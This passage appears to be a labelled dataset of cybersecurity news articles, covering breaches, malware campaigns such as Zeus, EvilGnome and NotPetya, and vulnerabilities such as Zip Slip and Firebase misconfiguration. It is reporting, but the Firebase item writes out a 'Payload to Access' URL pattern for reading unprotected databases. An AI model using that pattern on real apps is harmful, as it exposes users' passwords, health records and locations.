In fact, according to Veracode's 2014 State of Security Software Report , SQL injection vulnerabilities still plague 32% of all web applications.
""We are currently seeing more than 50,000 attacks per day that fall into our SQL Injection categorization. Most of them are automated and try to compromise well known vulnerabilities in common CMS's and web projects (Joomla, WordPress, vBulletin, etc),"" the security researcher, David Dede, of the security firm Sucuri wrote in a blog post.
SQL INJECTION CONTINUE TO GROW
The analysis carried out by the security firms shows that the number of SQL injection attempts continue to grow as the time passes on.
""If we drill down into our data and hook it up to a geo locator we can also see that the attacks come from everywhere. Most people tend to think that Russia, Brazil, Romania and a few other countries are the ""bad"" sources, but for SQL injection, the top attackers come from the USA, India, Indonesia and China,"" the researcher added.
SQL Injections are a real threat and are being actively attacked and exploited by hackers every day. ""If you are a developer you should be leveraging the OWASP SQL Injection Prevention Cheat Sheet at a minimum.""

",Vulnerability
Hackers Leak Personal Data from Hundreds of German Politicians On Twitter,https://thehackernews.com/2019/01/germany-politicians-hacked.html,"Germany has been hit with the biggest hack in its history.

A group of unknown hackers has leaked highly-sensitive personal data from more than 100 German politicians, including German Chancellor Angela Merkel, Brandenburg's prime minister Dietmar Woidke, along with some German artists, journalists, and YouTube celebrities.

The leaked data that was published on a Twitter account (@_0rbit) and dated back to before October 2018 includes phone numbers, email addresses, private chats, bills, credit card information and photos of victims' IDs.

Although it is yet unclear who perpetrated this mass hack and how they managed to perform it, the leaked data appears to be collected unauthorizedly by hacking into their smartphones.

The hack targeted all of Germany's political parties currently represented in the federal parliament, including the CDU, CSU, SPD, FDP, Left party (Die Linke) and Greens, except for the far-right Alternative for Germany (AfD).

While Justice Minister Katarina Barley called this mass hacking as a ""serious attack,"" local media reports that none of the leaked data could be considered politically explosive.

Germany's federal office for information security (BSI), who is investigating the attack, said that government networks were not affected by the incident and that the identity of the hackers and their motive were not yet known.

""The BSI is currently intensively examining the case in close cooperation with other federal authorities. The National Cyber Defense Center has taken over the central coordination,"" a BSI spokesperson said on Twitter.


""According to the current state of knowledge there is no concern of the governmental networks. However, we will continue to investigate.""

Among the victims include Chancellor Angela Merkel, President Frank-Walter Steinmeier, Foreign Minister Heiko Maas, as well as Robert Habeck, leader of the Green party, who was particularly badly affected by the attack with hackers leaking his digital communications with his family.

Besides German politicians, the intrusive hack attacks also affected well-known actor Til Schweiger, two renowned German comedians, Jan Boehmermann and Christian Ehring, as well as dozens of journalists from ZDF and ARD–public-funded German media outlets.

",Cyber_Attack
Hacking Facebook Account with 'Reconnect' Tool,https://thehackernews.com/2015/03/facebook-hacking-tool.html,"""Signup or Login with Facebook"" ?? You might think twice before doing that next time. A security researcher has discovered a critical flaw that allows hackers take over Facebook accounts on websites that leverage 'Login with Facebook' feature.

The vulnerability doesn't grant hackers access to your actual Facebook password, but it does allow them to access your accounts using Facebook application developed by third-party websites such as Bit.ly, Mashable, Vimeo, About.me, Stumbleupon, Angel.co and possibly many more.

FLAW EXPLOITS THREE CSRFs PROTECTION
Egor Homakov, a researcher with pentesting company Sakurity, made the social network giant aware of the bug a year ago, but the company refused to fix the vulnerability because doing so would have ruined compatibility of Facebook with a vast number of websites over the Internet.

The critical flaw abuses the lack of CSRF (Cross-Site Request Forgery) protection for three different processes —
Facebook log in
Facebook log out
Third-party account connection
The first two issues ""can be fixed by Facebook,"" Homakov said, but have not done yet. However, the third one needs to be fixed by the website owners those who have integrate ""Login with Facebook"" feature into their websites.

TOOL TO HACK FACEBOOK ACCOUNTS
Therefore, blaming Facebook for dismal security in 'Login with Facebook' feature, the researcher publicly released a tool, dubbed RECONNECT, that exploits the bug and lets hackers to generate URLs that can be used to hijack accounts on third-party websites that use 'Login with Facebook' button.

""Go blackhats, don't be shy!"" Homakov wrote on his Twitter, allegedly encouraging hackers and cyber criminals to take benefit from his ready to use tool.

Homakov also published a blog post which gives hackers a step-by-step process for setting up rogue Facebook accounts that victims are redirected to when they tricked into clicking on malicious URLs provided by the attackers.
""Now our Facebook account is connected to the victim account on that website and we can log in that account directly to change email/password, cancel bookings, read private messages and so on,"" Homakov wrote in a blog post.
RECONNECT Facebook hacking tool can generate malicious URLs to hijack Facebook accounts on third-party website including Booking.com, Bit.ly, About.me, Stumbleupon, Angel.co, Mashable and Vimeo.

However, any website that supports 'Login with Facebook' can be hacked by manually inserting its link into the tool that generates Facebook login requests on behalf of its users.

HOW TO PROTECT YOURSELF ?
One could realize the dangerous consequences of RECONNECT Facebook hacking tool by calculating how many number of websites over Internet use that blue color ' f ' button of Facebook login. And once a hacker makes a way to get into you account, they could access your private information and use them to hack into your other online accounts.

So, in order to prevent your accounts from malicious hackers, Do Not click on any suspicious URLs provided to you via online messages, emails or social media accounts. And always be careful while surfing over the Internet.

FACEBOOK RESPONDS TO THE ISSUE
Facebook says it has been aware of the issue for some time now and that third-party sites can protect their users by utilizing Facebook's best practices when using the Facebook sign-in feature.
A Facebook spokesperson released a statement saying, ""This is a well-understood behaviour. Site developers using Login can prevent this issue by following our best practices and using the 'state' parameter we provide for OAuth Login.""
The company also added that they have also made various changes in order to help prevent login CSRF and are evaluating others while ""aiming to preserve necessary functionality for a large number of sites that rely upon Facebook Login.""

",Vulnerability
'Zip Slip' Vulnerability Affects Thousands of Projects Across Many Ecosystems,https://thehackernews.com/2018/06/zipslip-vulnerability.html,"Security researchers at British software firm Snyk have revealed details of a critical vulnerability that affects thousands of projects across many ecosystems and can be exploited by attackers to achieve code execution on the target systems.

Dubbed ""Zip Slip,"" the issue is an arbitrary file overwrite vulnerability that triggers from a directory traversal attack while extracting files from an archive and affects numerous archive formats, including tar, jar, war, cpio, apk, rar, and 7z.

Thousands of projects written in various programming languages including JavaScript, Ruby, Java, .NET and Go—from Google, Oracle, IBM, Apache, Amazon, Spring/Pivotal, Linkedin, Twitter, Alibaba, Eclipse, OWASP, ElasticSearch, JetBrains and more—contained vulnerable codes and libraries.

Went undetected for years, the vulnerability can be exploited using a specially crafted archive file that holds directory traversal filenames, which if extracted by any vulnerable code or a library, would allow attackers to unarchive malicious files outside of the folder where it should reside.
Using this Zip Slip attack an attacker can even overwrite legitimate executable files or configuration files for an application to trick the targeted system or the user into running it, ""thus achieving remote command execution on the victim's machine,"" the company explains.
""The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers.""
""The contents of this zip file have to be handcrafted. Archive creation tools don't typically allow users to add files with these paths, despite the zip specification allowing it. However, with the right tools, it's easy to create files with these paths.""
The company has also published proof-of-concept Zip Slip archives and released a video demonstration, showing how attackers can exploit the Zip Slip vulnerability.

Since April, the company started privately disclosing the Zip Slip vulnerability to all vulnerable libraries and projects maintainers.

A list of all affected libraries and projects has also been posted on Snyk's GitHub repository, some of which have already fixed the issue with the release of updated versions.

Moreover, you can also read Snyk's blog post to learn more about vulnerable codes in different ecosystems through example snippets.

",Vulnerability
Zeus banking Trojan targeting five major banks in Japan,https://thehackernews.com/2013/02/zeus-banking-trojan-targeting-five.html,"Zeus continues to strike online bank accounts and users, and technology designed to thwart these Trojan attacks continually fails to keep up. Symantec recently came across a new Zeus file targeting five major banks in Japan.

The malware, which has caused serious problems to banking customers in Europe and the U.S, now having maximum concentration on Japanese banks. Target information was reveled by Symantec after decryption of configuration file from new sample. The attacker uses Blackhole exploit kit in order to install Zeus.


Zeus, a financially aimed malware, comes in many different forms and flavors. It can be tweaked to hijack personal PCs, or come in the form of a keylogger that tracks keystrokes as users enter them.
But once installation over, Zeus malware aims to steal online-banking credentials, and phishing schemes and drive-by downloads are most often the avenues hackers use to spread this increasingly sophisticated and evolving Trojan.

In this case, the functionality is the same as that of other Zeus variants. Once infected, Zeus monitors the Web browser visiting the targeted banks and injects HTML code that displays a message in Japanese that states in English: ""In order to provide a better service to our customers, we are updating our personal internet banking system. Please re-enter the information that you provided when you first registered."".

Zeus gained notoriety in 2006 as being the tool of choice for criminals stealing online banking credentials. If your are one of the victim of Zeus, we recommend that you change your passwords for your online accounts and if you have used your credit card while Zeus Trojan was on your computer, contact the bank and let them know that you might be be victim of a phishing attack.

",Malware
Bank Servers Hacked to Trick ATMs into Spitting Out Millions in Cash,https://thehackernews.com/2018/10/bank-atm-hacking.html,"The US-CERT has released a joint technical alert from the DHS, the FBI, and Treasury warning about a new ATM scheme being used by the prolific North Korean APT hacking group known as Hidden Cobra.

Hidden Cobra, also known as Lazarus Group and Guardians of Peace, is believed to be backed by the North Korean government and has previously launched attacks against a number of media organizations, aerospace, financial and critical infrastructure sectors across the world.

The group had also reportedly been associated with the WannaCry ransomware menace that last year shut down hospitals and big businesses worldwide, the SWIFT Banking attack in 2016, as well as the Sony Pictures hack in 2014.

Now, the FBI, the Department of Homeland Security (DHS), and the Department of the Treasury have released details about a new cyber attack, dubbed ""FASTCash,"" that Hidden Cobra has been using since at least 2016 to cash out ATMs by compromising the bank server.

FASTCash Hack Fools ATMs into Spitting Out Cash

The investigators analyzed 10 malware samples associated with FASTCash cyber attacks and found that attackers remotely compromise payment ""switch application servers"" within the targeted banks to facilitate fraudulent transactions.

Switch application server is an essential component of ATMs and Point-of-Sale infrastructures that communicates with the core banking system to validate user's bank account details for a requested transaction.
Whenever you use your payment card in an ATM or a PoS machine in a retailer shop, the software asks (in ISO 8583 messages formats) the bank's switch application server to validate the transaction—accept or decline, depending upon the available amount in your bank account.

However, Hidden Cobra attackers managed to compromise the switch application servers at different banks, where they had accounts (and their payment cards) with minimal activity or zero balances.

The malware installed on the compromised switch application servers then intercepts transaction request associated with the attackers' payment cards and responds with fake but legitimate-looking affirmative response without actually validating their available balance with the core banking systems, eventually fooling ATMs to spit out a large number of cash without even notifying the bank.

""According to a trusted partner's estimation, HIDDEN COBRA actors have stolen tens of millions of dollars,"" the reports says.

""In one incident in 2017, HIDDEN COBRA actors enabled cash to be simultaneously withdrawn from ATMs located in over 30 different countries. In another incident in 2018, HIDDEN COBRA actors enabled cash to be simultaneously withdrawn from ATMs in 23 different countries.""
Hidden Cobra threat actors are using the FASTCash scheme to target banks in Africa and Asia, though the U.S. authorities are still investigating the FASTCash incidents to confirm whether the attack targets banks in the United States.

How Attackers Managed to Compromise Banks' Switch Application Servers

Though the initial infection vector used to compromise Bank networks is unknown, the U.S. authorities believe that the APT threat actors used spear-phishing emails, containing malicious Windows executable, against employees in different banks.

Once opened, the executable infected bank employees' computers with Windows-based malware, allowing hackers to move laterally through a bank's network using legitimate credentials and deploy malware onto the payment switch application server.

Though most compromised switch application servers were found running unsupported IBM Advanced Interactive eXecutive (AIX) operating system versions, investigators found no evidence that attackers exploited any vulnerability in AIX operating system.

US-CERT recommended banks to make two-factor authentication mandatory before any user can access the switch application server, and use best practices to protect their networks.

US-CERT has also provided a downloadable copy of IOCs (indicators of compromise), to help you block them and enable network defenses to reduce exposure to any malicious cyber activity by the Hidden Cobra hacking group.

In May 2018, the US-CERT also published an advisory alerting users of two different malware—Remote Access Trojan (RAT) known as Joanap and Server Message Block (SMB) worm called Brambul—linked to Hidden Cobra.

Last year, the DHS and the FBI also issued an alert describing Hidden Cobra malware Delta Charlie—a DDoS tool that they believed North Korea uses to launch distributed denial-of-service attacks against its targets.

Other malware linked to Hidden Cobra in the past includes Destover, Wild Positron or Duuzer, and Hangman with sophisticated capabilities, like DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware.

",Cyber_Attack
Thousands of Mobile Apps Expose Their Unprotected Firebase Hosted Databases,https://thehackernews.com/2018/06/mobile-security-firebase-hosting.html,"Mobile security researchers have discovered unprotected Firebase databases of thousands of iOS and Android mobile applications that are exposing over 100 million data records, including plain text passwords, user IDs, location, and in some cases, financial records such as banking and cryptocurrency transactions.

Google's Firebase service is one of the most popular back-end development platforms for mobile and web applications that offers developers a cloud-based database, which stores data in JSON format and synced it in the real-time with all connected clients.

Researchers from mobile security firm Appthority discovered that many app developers' fail to properly secure their back-end Firebase endpoints with firewalls and authentication, leaving hundreds of gigabytes of sensitive data of their customers publicly accessible to anyone.

Since Firebase offers app developers an API server, as shown below, to access their databases hosted with the service, attackers can gain access to unprotected data by just adding ""/.json"" with a blank database name at the end of the hostname.

Sample API URL: https://<Firebase project name>.firebaseio.com/<database.json>
Payload to Access: Data https://<Firebase project name>.firebaseio.com/.json

To find the extent of this issue, researchers scanned over 2.7 million apps and found that more than 3,000 apps—2,446 Android and 600 iOS apps—were leaking a whole 2,300 databases with more than 100 million records, making it a giant breach of over 113 gigabytes of data.
The vulnerable Android apps alone were downloaded more than 620 million times.

Affected apps belong to multiple categories such as telecommunication, cryptocurrency, finance, postal services, ride-sharing companies, educational institutions, hotels, productivity, health, fitness, tools and more.

Researchers also provided a brief analysis, given below, of the obtained data they had downloaded from vulnerable applications.
2.6 million plaintext passwords and user IDs
4 million+ PHI (Protected Health Information) records (chat messages and prescription details)
25 million GPS location records
50,000 financial records including banking, payment and Bitcoin transactions
4.5 million+ Facebook, LinkedIn, Firebase, and corporate data store user tokens.
Researcher claims all this is happening at the first place because Google Firebase service does not secure user data by default, requiring developers to explicitly implement user authentication on all database rows and tables to protect their databases from unauthorized access.
""The only security feature available to developers is authentication and rule-based authorization,"" the researchers explain. What's worse? There are no ""third-party tools available to provide encryption for it.""
Researchers had already contacted Google and provided a list of all vulnerable app databases, and also contacted a few app developers helping them to patch this issue.
",Data_Breaches
Operation Troy espionage campaign : Hackers steal South Korean military secrets,https://thehackernews.com/2013/07/operation-troy-espionage-campaign.html,"McAfee Lab researchers issued a report on the large scale cyber attacks against South Korea that appear to be linked to hackers also specialized in cyber espionage.

The attackers behind these recent attacks against South Korean infrastructure are skilled professionals and they designed a specialized malware to steal military secrets from the South Korea and US military networks.

The cyber espionage campaign dubbed as ""Operation Troy"", due the numerous references into the source code analyzed to the city. McAfee said that in 2009, malware was implanted into a social media website used by military personnel in South Korea
Ryan Sherstobitoff, a senior threat researcher at McAfee, started the investigation after the malware came into action in an attacks occurred on March 20th, known as the Dark Seoul Incident, in which tens of thousands of hard drives belongs to television networks and banks in South Korea were wiped completely.

Versions of the code may still be trying to glean military secrets from infected computers. Sherstobitoff said the same coded fingerprints were found on an attack June 25, the anniversary of the start of the 1950-53 Korean War - in which websites for South Korea's president and prime minister were attacked.

On June 26th the US Government announced that personal information about thousands of U.S. troops in South Korea had been exposed online.

The attackers infected victims with ""spear phishing"" attacks, the hackers also compromised about a dozen Korean-language religious, social and shopping websites to steal secret information from infected networks.

In the following image is proposed the timeline of the attacks:""This goes deeper than anyone had understood to date, and it's not just attacks: It's military espionage,"" Sherstobitoff said.
Despite the malware used to wipe the disks during the recent attacks against Korean infrastructures is different from the one used for the cyber espionage campaign, but many similarities have been found between the source codes of both and this led to believe that they must be created by the same malware developer team.

Researchers highlighted that there are various clues in the malicious code which lead to the North Korea, for example the password used to unlock encrypted files contains the number 38 probably linked to ""38th parallel"" that separates the North from South Korea.
After previous attack, Two different and previously unknown groups separately took credit: The ""Whois Hacking Team"" posted pictures of skulls and a warning, while the ""NewRomanic Cyber Army Team"" said it had leaked private information from banks and media organizations.

Before that attack, hackers had been sending spy malware on domestic networks for months, giving them the ability to gather information about how their internal servers work, what websites the users visit and which computers are responsible for security, the researchers found. This information would have been crucial for planning the coordinated attacks on banks and TV networks.

It is still not clear that the exact amount of information stolen or the exact networks penetrated by attackers, but South Korean officially blamed North Korean state sponsored-hackers.

The Hackers espionage on government networks with military information for at least four years, using code that automatically searched infected computers for dozens of military terms in Korean, including ""U.S. Army,"" ''secret,"" ''Joint Chiefs of Staff"" and ""Operation Key Resolve,"" an annual military exercise held by U.S. Forces Korea and the South Korean military.

""These included names of individuals, base locations, weapons systems and assets,"" revealed Sherstobitoff.

South Korea's Defense Ministry announced that it's technically impossible to disclose classified reports from military networks because the networks of the Korean Intelligence aren't connected to the Internet and the access to the Internet is made with different computers separated by the internal military infrastructure.

Hacking sensitive South Korean military computers from the Internet ""cannot be done,"" ""It's physically separated."" said the South Korean government representative.

North Korea has the highest percentage of military personnel in relation to population than any other nation in the world. It has approximately 40 enlisted soldiers per 1000 people with a considerable impact on the economy of the country. A defector has declared that North Korea has increased its cyber warfare unit to staff 3,000 people and it is massive training its young prodigies to become professional hackers.

The government of Pyongyang is massive investing in cyber warfare capabilities, recruiting and forming a high skilled team of hackers. The groups will could be engaged in offensive cyber operation against hostile government and in cyber espionage activities.

In spite of McAfee researchers haven't indicated the origin of the attacks many security experts have no doubts about the nature of the offensive, North Korean state sponsored hackers appear as the main culprits.

",Malware
Hacker Stole Data of Over 70% Bulgarian Citizens from Tax Agency Servers,https://thehackernews.com/2019/07/bulgaria-nra-data-breach.html,"Eastern European country Bulgaria has suffered the biggest data breach in its history that compromised personal and financial information of 5 million adult citizens out of its total population of 7 million people.

According to multiple sources in local Bulgarian media, an unknown hacker earlier this week emailed them download links to 11GB of stolen data which included taxpayer's personal identifiable numbers, addresses, and financial data.

In a brief statement released Monday, the National Revenue Agency (NRA) of Bulgaria said the stolen data originates from the country's tax reporting service.

The NRA also indicated that the Ministry of the Interior and the State Agency for National Security (SANS) have started taking an assessment of the potential vulnerability in NRA's systems that attackers might have exploited to breach into its databases.

It appears that until now, the hacker, who claimed to be a Russian man, has only released 57 out of a total of 110 compromised databases, which is about 21GB in total.

In a follow-up announcement, the NRA said almost 20 days ago, the attacker unauthorizedly accessed about 3 percent of the information contained in their databases.

""Currently, e-services for citizens and businesses are functioning normally, with the exception of the VAT refund service paid abroad, as well as by the revenue office. Unregulated access to sensitive information is limited,"" the NRA said.

As consequences of the incident, Bulgaria's NRA tax agency is now facing a fine of up to 20 million euros ($22.43 million) or 4% of the agency's annual turnover over the data breach, said Prof. Veselin Tselkov, a member of the Commission for Personal Data Protection.

Suspected ""White Hat"" Hacker Arrested

Bulgarian police have also arrested a 20-year-old ""white-hat hacker"" as the main suspect for the NRA data breach after authorities raided his home and office in the capital Sofia and seized his computers containing encrypted data, according to a local media.

The arrested suspect, Christian Boykov, is a cybersecurity expert who has been training officers of the GCDPC for fighting organized cybercrime.

Boykov was in the news two years ago, when he found a vulnerability in the website of the Ministry of Education and Science (MES) and contacted ""Lords of the Air,"" a popular TV show to tell the story only after the ministry ignored his initial disclosure.

After that incident, Boikov was hired as an ethical hacker by the global cybersecurity company ""TAD Group,"" and at the moment of arrest, he was an employee of the company, where his job responsibility was to pentest the systems in the state agencies and private companies for potential vulnerabilities.

Since the investigation is still ongoing, at this moment, it's not clear if he is behind the NRA data breach. However, the Sofia City Prosecutor's Office accused Boykov of unauthorized access to a computer system that is part of the critical infrastructure of the state.

His lawyers say there is no evidence against the boy, but if proven guilty, Boikov—who has no past criminal record—could face up to 8 years in prison.

",Data_Breaches
Hackers Who Hit Winter Olympics 2018 Are Still Alive and Kicking,https://thehackernews.com/2018/06/olympic-destroyer-malware.html,"Remember the 'Olympic Destroyer' cyber attack?

The group behind it is still alive, kicking and has now been found targeting biological and chemical threat prevention laboratories in Europe and Ukraine, and a few financial organisation in Russia.

Earlier this year, an unknown group of notorious hackers targeted Winter Olympic Games 2018, held in South Korea, using a destructive malware that purposely planted sophisticated false flags to trick researchers into mis-attributing the campaign.

Unfortunately, the destructive malware was successful to some extent, at least for a next few days, as immediately after the attack various security researchers postmortem the Olympic Destroyer malware and started attributing the attack to different nation-state hacking groups from North Korea, Russia, and China.

Later researchers from Russian antivirus vendor Kaspersky Labs uncovered more details about the attack, including the evidence of false attribution artifacts, and concluded that the whole attack was a masterful operation in deception.
Now according to a new report published today by Kaspersky Labs, the same group of hackers, which is still unattributed, has been found targeting organisations in Russia, Ukraine, and several European countries in May and June 2018, specifically those organizations that respond to and protect against biological and chemical threats.

New Attack Shares Similarities With Olympic Destroyer

During their investigation, researchers found that the exploitation and deception tactics used by the newly discovered campaign share many similarities with the Olympic Destroyer attack.
""In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past,"" the researchers said. ""They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection.""
Just like Olympic Destroyer, the new attack also targets users affiliated with specific organisations using spear-phishing emails that appear as coming from an acquaintance, with an attached document.

If the victims open the malicious document, it leverages macros to download and execute multiple PowerShell scripts in the background and install the final 3rd-stage payload to take remote control over the victims' system.

Researchers found that the technique used to obfuscate and decrypt the malicious code is same as used in the original Olympic Destroyer spear-phishing campaign.

The second-stage script disables Powershell script logging to avoid leaving traces and then downloads the final ""Powershell Empire agent"" payload, which allows fileless control of the compromised systems over an encrypted communication channel.

Hackers Target Biological and Chemical Threat Prevention Laboratories

According to the researchers, the group has attempted to gain access to computers in countries, including France, Germany, Switzerland, Russia, and Ukraine.
Researchers found evidence of hackers primarily targeting people affiliated with an upcoming biochemical threat conference, called Spiez Convergence, held in Switzerland and organized by Spiez Laboratory.

Spiez Laboratory played an essential role in investigating the poisoning in March of a former Russian spy in the UK. The U.K. and the U.S. both said Russia was behind the poisoning and expelled dozens of Russian diplomats.

Another document targeted Ministry of Health in Ukraine.

It is not yet known that who behind these attacks, but Kaspersky advises all biochemical threat prevention and research organizations to strengthen their IT security and run unscheduled security audits.

",Malware
Mayhem — A New Malware Targets Linux and FreeBSD Web Servers,https://thehackernews.com/2014/07/mayhem-new-malware-targets-linux-and_24.html,"Security researchers from Russian Internet giant Yandex have discovered a new piece of malware that is being used to target Linux and FreeBSD web servers in order to make them a part of the wide botnet, even without the need of any root privileges.

Researchers dubbed the malware as Mayhem, a nasty malware modular that includes a number of payloads to cause malicious things and targets to infect only those machines which are not updated with security patches or less likely to run security software.

So far, researchers have found over 1,400 Linux and FreeBSD servers around the world that have compromised by the malware, with potentially thousands more to come. Most of the compromised machines are located in the USA, Russia, Germany and Canada.

Three security experts, Andrej Kovalev, Konstantin Ostrashkevich and Evgeny Sidorov, who work at Russia-based Internet portal Yandex, discovered the malware targeting *nix servers. They were able to trace transmissions from the infected computers to the two command and control (C&C) servers.
""In the *nix world, autoupdate technologies aren't widely used, especially in comparison with desktops and smartphones. The vast majority of web masters and system administrators have to update their software manually and test that their infrastructure works correctly,"" the trio wrote in a technical report for Virus Bulletin.

""For ordinary websites, serious maintenance is quite expensive and often webmasters don't have an opportunity to do it. This means it is easy for hackers to find vulnerable web servers and to use such servers in their botnets.""
Researchers say that this new type of malware can work under restricted privileges on the systems and has been created by keeping multiple functionality in mind. The malicious attack is conducted via a more sophisticated PHP script, that has a low detection rate with the antivirus engines available.

Communication of the system is established with the command and control servers, which can send the malware different instructions. As we mentioned above that Mayhem is a modular, its functions can be expanded through plugins and at the moment some eight plugins have been discovered, those are listed below:
rfiscan.so - Find websites that contain a remote file inclusion (RFI) vulnerability
wpenum.so - Enumerate users of WordPress sites
cmsurls.so - Identify user login pages in sites based on the WordPress CMS
bruteforce.so - Brute force passwords for sites based on the WordPress and Joomla CMSs
bruteforceng.so - Brute force passwords for almost any login page
ftpbrute.so - Brute force FTP accounts
crawlerng.so - Crawl web pages (by URL) and extract useful information
crawlerip.so - Crawl web pages (by IP) and extract useful information
In case of rfiscan.so, the malware spreads by finding servers hosting websites with a remote file inclusion (RFI) vulnerability that it checks using 'https://www.google.com/humans.txt' file. If the HTTP response contains the words 'we can shake', then the plugin decides that the website has a remote file inclusion vulnerability.

Once the malware exploits an RFI, or any other weakness mentioned above, and get installed, it will run a PHP script on a victim. The PHP script kills all '/usr/bin/host' processes, check for the system architecture and OS (whether Linux or FreeBSD), and then drops a malicious object identified as 'libworker.so'.

Meanwhile, the PHP script also defines a variable named 'AU', which includes the full URL of the script being executed. It also executes the shell script which is then being executed, then pings its Command-and-Control server.

The malware then creates a hidden file system, known as sd0, and downloads all the above eight plugins, none of which were detected by the VirusTotal malware scanning tool.

Mayhem was first detected in April 2014, and according to the trio, it is a continuation of the ""Fort Disco"" brute-force campaign that was unearthed by Arbor Networks in 2013.

The Yandex researchers warned people that there may be more plugins in circulation, based on information they discovered on the two detected Command-and-Control servers, including one which specifically exploits the systems that haven't patched the critical Heartbleed vulnerability in OpenSSL.

",Malware
Original Author of Petya Ransomware is Back & He Wants to Help NotPetya Victims,https://thehackernews.com/2017/06/petya-ransomware-decryption-key.html,"The author of original Petya ransomware is back.

After 6 months of silence, the author of the now infamous Petya ransomware appeared today on Twitter to help victims unlock their files encrypted by a new version of Petya, also known as NotPetya.
""We're back having a look in NotPetya,"" tweeted Janus, a name Petya creator previously chose for himself from a villain in James Bond. ""Maybe it's crackable with our privkey. Please upload the first 1MB of an infected device, that would help.""
This statement made by the Petya author suggests he may have held onto a master decryption key, which if it works for the new variant of Petya infected files, the victims would be able to decrypt their files locked in the recent cyber outcry.

Janus sold Petya as a Ransomware-as-a-Service (RaaS) to other hackers in March 2016, and like any regular ransomware, original Petya was designed to lock victim's computer, then return them when a ransom is paid.

This means anyone could launch the Petya ransomware attack with just the click of a button, encrypt anyone's system and demand a ransom to unlock it. If the victim pays, Janus gets a cut of the payment. But in December, he went silent.

However, on Tuesday, the computer systems of the nation's critical infrastructure and corporations' in Ukraine plus 64 other countries were struck by a global cyber attack, which was similar to the WannaCry outbreak that crippled tens of thousands of systems worldwide.

Initially, the new variant of Petya ransomware, NotPetya, was blamed for infecting systems worldwide, but later, the NotPetya story took an interesting turn.

Yesterday, it researchers found that NotPetya is not a ransomware, rather it's a wiper malware that wipes systems outright, destroying all records from the targeted systems.

NotPetya also uses the NSA's leaked Windows hacking exploit EternalBlue and EternalRomance to rapidly spread within a network, and uses WMIC and PSEXEC tools to remotely execute malware on the machines.

Experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack to a malware outbreak.

Petya's source code has never been leaked, but some researchers are still trying hard to reverse engineer it to find possible solutions.

Would this Really Help Victims?

Since Janus is examining the new code and even if his master key succeeds in decrypting victims' hard drive's master file table (MFT), it won't help much until researchers find a way to repair the MBR, which is wiped off by NotPetya without keeping any copy.

Tuesday's cyber outbreak is believed to be bigger than WannaCry, causing disasters to many critical infrastructures, including bricking computers at a Ukrainian power company, several banks in Ukraine, and the country's Kyiv Boryspil International Airport.

The NotPetya virus has also canceled surgeries at two Pittsburgh-area hospitals, hit computers at the pharmaceutical company Merck and the law firm DLA Piper, as well as infected computers at the Dutch shipping company A.P. Moller-Maersk forcing them to shut down some container terminals in seaports from Los Angeles to Mumbai.

",Cyber_Attack
EvilGnome: A New Backdoor Implant Spies On Linux Desktop Users,https://thehackernews.com/2019/07/linux-gnome-spyware.html,"Security researchers have discovered a rare piece of Linux spyware that's currently fully undetected across all major antivirus security software products, and includes rarely seen functionalities with regards to most Linux malware, The Hacker News learned.

It's a known fact that there are a very few strains of Linux malware exist in the wild as compared to Windows viruses because of its core architecture and also due to its low market share, and also many of them don't even have a wide range of functionalities.

In recent years, even after the disclosure of severe critical vulnerabilities in various flavors of Linux operating systems and software, cybercriminals failed to leverage most of them in their attacks.

Instead, a large number of malware targeting Linux ecosystem is primarily focused on cryptocurrency mining attacks for financial gain and creating DDoS botnets by hijacking vulnerable servers.

However, researchers at security firm Intezer Labs recently discovered a new Linux backdoor implant that appears to be under development and testing phase but already includes several malicious modules to spy on Linux desktop users.

EvilGnome: New Linux Spyware

Dubbed EvilGnome, the malware has been designed to take desktop screenshots, steal files, capture audio recording from the user's microphone as well as download and execute further second-stage malicious modules.

According to a new report Intezer Labs shared with The Hacker News prior to its release, the sample of EvilGnome it discovered on VirusTotal also contains an unfinished keylogger functionality, which indicates that it was uploaded online mistakenly by its developer.

EvilGnome malware masquerades itself as a legit GNOME extension, a program that lets Linux users extend the functionality of their desktops.

According to the researchers, the implant is delivered in the form of a self-extracting archive shell script created with 'makeself,' a small shell script that generates a self-extractable compressed tar archive from a directory.

The Linux implant also gains persistence on a targeted system using crontab, similar to windows task scheduler, and sends stolen user data to a remote attacker-controlled server.

""Persistence is achieved by registering gnome-shell-ext.sh to run every minute in crontab. Finally, the script executes gnome-shell-ext.sh, which in turn launches the main executable gnome-shell-ext,"" the researchers said.

EvilGnome's Spyware Modules

The Spy Agent of EvilGnome contains five malicious modules called ""Shooters,"" as explained below:

ShooterSound — this module uses PulseAudio to capture audio from the user's microphone and uploads the data to the operator's command-and-control server.
ShooterImage — this module uses the Cairo open source library to captures screenshots and uploads them to the C&C server. It does so by opening a connection to the XOrg Display Server, which is the backend to the Gnome desktop.
ShooterFile — this module uses a filter list to scan the file system for newly created files and uploads them to the C&C server.
ShooterPing — the module receives new commands from the C&C server, like download and execute new files, set new filters for file scanning, download and set new runtime configuration, exfiltrate stored output to the C&C server, and stop any shooter module from running.
ShooterKey — this module is unimplemented and unused, which most likely is an unfinished keylogging module.

Notably, all the above modules encrypt their output data and decrypt commands received from the C&C server with RC5 key ""sdg62_AS.sa$die3,"" using a modified version of a Russian open source library.

Possible Connection b/w EvilGnome and Gamaredon Hacking Group

Furthermore, the researchers also found connections between EvilGnome and Gamaredon Group, an alleged Russian threat group that has been active since at least 2013 and has targeted individuals working with the Ukrainian government.

Here below, I have briefed some of the similarities between EvilGnome and Gamaredon Group:

EvilGnome uses a hosting provider that has been used by Gamaredon Group for years and continues to be used by it.
EvilGnome also found to be operating on an IP address that was controlled by the Gamaredon group two months ago.
EvilGnome attackers are also using '.space' TTLD for their domains, just as the Gamaredon Group.
EvilGnome employs techniques and modules—like the use of SFX, persistence with task scheduler, and the deployment of information-stealing tools—that remind of Gamaredon Group's Windows tools.

How to Detect EvilGnome Malware?

To check if your Linux system is infected with the EvilGnome spyware, you can look for the ""gnome-shell-ext"" executable in the ""~/.cache/gnome-software/gnome-shell-extensions"" directory.

""We believe this is a premature test version. We anticipate newer versions to be discovered and reviewed in the future, which could potentially shed more light into the group's operations,"" researchers conclude.

Since security and antivirus products are currently failing to detect the EvilGnome malware, researchers recommend concerned Linux administrators to block the Command & Control IP addresses listed in the IOC section of Intezer's blog post.

",Cyber_Attack
